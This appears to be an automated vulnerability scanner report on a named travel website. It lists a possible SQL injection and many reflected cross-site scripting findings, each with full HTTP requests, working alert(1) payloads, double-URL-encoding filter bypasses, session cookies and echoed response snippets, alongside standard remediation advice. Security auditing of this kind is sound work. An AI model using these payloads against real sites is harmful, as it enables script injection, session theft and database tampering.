The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 15077760'%20or%201%3d1--%20 and 15077760'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
Request 1
GET /Resorts/France15077760'%20or%201%3d1--%20/Ski+Resorts/Courchevel HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b13ac"><img%20src%3da%20onerror%3dalert(1)>eac74950c9f was submitted in the REST URL parameter 2. This input was echoed as b13ac"><img src=a onerror=alert(1)>eac74950c9f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Resorts/Franceb13ac"><img%20src%3da%20onerror%3dalert(1)>eac74950c9f/Ski+Resorts/Courchevel HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c3799%253cscript%253ealert%25281%2529%253c%252fscript%253ec30d2463454 was submitted in the REST URL parameter 2. This input was echoed as c3799<script>alert(1)</script>c30d2463454 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Resorts/Francec3799%253cscript%253ealert%25281%2529%253c%252fscript%253ec30d2463454/Ski+Resorts/Courchevel HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98056"><script>alert(1)</script>34555e8c145 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Resorts/France/Ski+Resorts98056"><script>alert(1)</script>34555e8c145/Courchevel HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 3 is copied into an HTML comment. The payload 7eb68--><a>d29ef1eae9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Resorts/France/Ski+Resorts7eb68--><a>d29ef1eae9/Courchevel HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b3b7f%253cscript%253ealert%25281%2529%253c%252fscript%253e33c964bc3a5 was submitted in the REST URL parameter 3. This input was echoed as b3b7f<script>alert(1)</script>33c964bc3a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Resorts/France/Ski+Resortsb3b7f%253cscript%253ealert%25281%2529%253c%252fscript%253e33c964bc3a5/Courchevel HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92862"><img%20src%3da%20onerror%3dalert(1)>74abba6e713 was submitted in the REST URL parameter 4. This input was echoed as 92862"><img src=a onerror=alert(1)>74abba6e713 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Resorts/France/Ski+Resorts/Courchevel92862"><img%20src%3da%20onerror%3dalert(1)>74abba6e713 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 73922%253cscript%253ealert%25281%2529%253c%252fscript%253e190c2404f62 was submitted in the REST URL parameter 4. This input was echoed as 73922<script>alert(1)</script>190c2404f62 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Resorts/France/Ski+Resorts/Courchevel73922%253cscript%253ealert%25281%2529%253c%252fscript%253e190c2404f62 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<script> function ShowHideAdd(val) { document.getElementById('add_tips_div').style.display = ''; }
function ShowHideRestaurant() { document.getElementById('tripreport_restaurant_tips_div') ...[SNIP]... <a href="http://www.tripreport.com/resort/France//Courchevel73922%3cscript%3ealert%281%29%3c%2fscript%3e190c2404f62" target="_blank"> See all Courchevel73922<script>alert(1)</script>190c2404f62 holiday reviews </a> ...[SNIP]...
2.8. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.wordtravels.com
Path:
/Resorts/France/Ski+Resorts/Courchevel
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0a49"><img%20src%3da%20onerror%3dalert(1)>ff3b3d9da31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e0a49"><img src=a onerror=alert(1)>ff3b3d9da31 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Resorts/France/Ski+Resorts/Courchevel?e0a49"><img%20src%3da%20onerror%3dalert(1)>ff3b3d9da31=1 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
2.9. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.wordtravels.com
Path:
/Resorts/France/Ski+Resorts/Courchevel
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 488a5%253cscript%253ealert%25281%2529%253c%252fscript%253e8242afb6c20 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 488a5<script>alert(1)</script>8242afb6c20 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Resorts/France/Ski+Resorts/Courchevel?488a5%253cscript%253ealert%25281%2529%253c%252fscript%253e8242afb6c20=1 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<script> function ShowHideAdd(val) { document.getElementById('add_tips_div').style.display = ''; }
function ShowHideRestaurant() { document.getElementById('tripreport_restaurant_tips_div') ...[SNIP]... <a href="http://www.tripreport.com/resort/France//Courchevel?488a5%3cscript%3ealert%281%29%3c%2fscript%3e8242afb6c20=1" target="_blank"> See all Courchevel?488a5<script>alert(1)</script>8242afb6c20=1 holiday reviews </a> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de689"><script>alert(1)</script>cea026d74e5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Travelguide/Countriesde689"><script>alert(1)</script>cea026d74e5/France/Regions/Ski+Resorts HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c02ea<img%20src%3da%20onerror%3dalert(1)>3e31df83b1 was submitted in the REST URL parameter 4. This input was echoed as c02ea<img src=a onerror=alert(1)>3e31df83b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Travelguide/Countries/France/Regionsc02ea<img%20src%3da%20onerror%3dalert(1)>3e31df83b1/Ski+Resorts HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <link rel="icon" href="/favico ...[SNIP]... <a href="http://www.wordtravels.com/forum/">Got a question or comment about Regionsc02ea<img src=a onerror=alert(1)>3e31df83b1 in France? Ask a Travel Expert!</a> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d627%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e33c4fb292c8 was submitted in the REST URL parameter 3. This input was echoed as 6d627"><script>alert(1)</script>33c4fb292c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Travelguide/Countries/France6d627%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e33c4fb292c8/Regions/Ski+Resorts HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload ab788%253cscript%253ealert%25281%2529%253c%252fscript%253e711b1b3c52a was submitted in the REST URL parameter 3. This input was echoed as ab788<script>alert(1)</script>711b1b3c52a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Travelguide/Countries/Franceab788%253cscript%253ealert%25281%2529%253c%252fscript%253e711b1b3c52a/Regions/Ski+Resorts HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d14b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8f417576ab5 was submitted in the REST URL parameter 5. This input was echoed as 4d14b"><script>alert(1)</script>8f417576ab5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Travelguide/Countries/France/Regions/Ski+Resorts4d14b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8f417576ab5 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 8f921%253cscript%253ealert%25281%2529%253c%252fscript%253e0925f7ce0ad was submitted in the REST URL parameter 5. This input was echoed as 8f921<script>alert(1)</script>0925f7ce0ad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Travelguide/Countries/France/Regions/Ski+Resorts8f921%253cscript%253ealert%25281%2529%253c%252fscript%253e0925f7ce0ad HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
The value of REST URL parameter 5 is copied into the HTML document as text between TITLE tags. The payload 509ef%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7d1907bb529 was submitted in the REST URL parameter 5. This input was echoed as 509ef</title><script>alert(1)</script>7d1907bb529 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Travelguide/Countries/France/Regions/Ski+Resorts509ef%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7d1907bb529 HTTP/1.1 Host: www.wordtravels.com Proxy-Connection: keep-alive Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <link rel="icon" href="/favico ...[SNIP]... <title>Ski Resorts509ef</title><script>alert(1)</script>7d1907bb529 Travel Guide, France, Ski Resorts509ef</title> ...[SNIP]...
2.17. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.wordtravels.com
Path:
/Travelguide/Countries/France/Regions/Ski+Resorts
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2f31%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e098b09412f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d2f31"><script>alert(1)</script>098b09412f3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
